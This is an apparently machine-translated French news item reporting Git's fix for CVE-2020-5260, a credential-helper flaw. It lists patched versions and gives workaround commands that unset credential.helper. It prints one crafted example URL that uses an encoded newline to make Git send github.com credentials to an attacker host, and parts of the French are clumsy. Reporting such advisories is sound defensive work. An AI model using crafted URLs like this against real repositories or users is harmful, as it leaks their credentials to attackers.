Vulnérabilité de fuite d’identifiants Git

Publié versions correctives du système de contrôle de source distribué Git 2.26.1, 2.25.3, 2.24.2, 2.23.2, 2.22.3, 2.21.2, 2.20.3, 2.19.4, 2.18.3 et 2.17.4, en qui a éliminé vulnérabilité (CVE-2020-5260) dans le gestionnaire "informations d'identification.helper", ce qui entraîne l'envoi des informations d'identification au mauvais hôte lorsqu'un client git accède à un référentiel à l'aide d'une URL spécialement formatée contenant un caractère de nouvelle ligne. Cette vulnérabilité peut être utilisée pour organiser l'envoi des informations d'identification d'un autre hôte à un serveur contrôlé par l'attaquant.

Lors de la spécification d'une URL telle que « https://evil.com?%0ahost=github.com/ », le gestionnaire d'informations d'identification lors de la connexion à l'hôte evil.com transmettra les paramètres d'authentification spécifiés pour github.com. Le problème se produit lors de l'exécution d'opérations telles que "git clone", y compris le traitement des URL des sous-modules (par exemple, "git submodule update" traitera automatiquement les URL spécifiées dans le fichier .gitmodules du référentiel). La vulnérabilité est plus dangereuse dans les situations où un développeur clone un référentiel sans voir l'URL, par exemple lorsqu'il travaille avec des sous-modules, ou dans des systèmes qui effectuent des actions automatiques, par exemple dans des scripts de construction de packages.

Pour bloquer les vulnérabilités dans les nouvelles versions interdit en passant un caractère de nouvelle ligne dans toutes les valeurs transmises via le protocole d'échange d'informations d'identification. Pour les distributions, vous pouvez suivre la publication des mises à jour des packages sur les pages Debian, Ubuntu, RHEL, SUSE / openSUSE, Fedora, voûte, FreeBSD.

Comme solution de contournement pour bloquer le problème recommandé N'utilisez pas credential.helper lors de l'accès aux référentiels publics et n'utilisez pas "git clone" en mode "--recurse-submodules" avec des référentiels non cochés. Pour désactiver complètement le gestionnaire credential.helper, qui ne préserver et récupérer les mots de passe de cache, protégé référentiels ou un fichier avec des mots de passe, vous pouvez utiliser les commandes :

git config --unset credential.helper
git config --global --unset credential.helper
git config --system --unset credential.helper

Source: opennet.ru

Ajouter un commentaire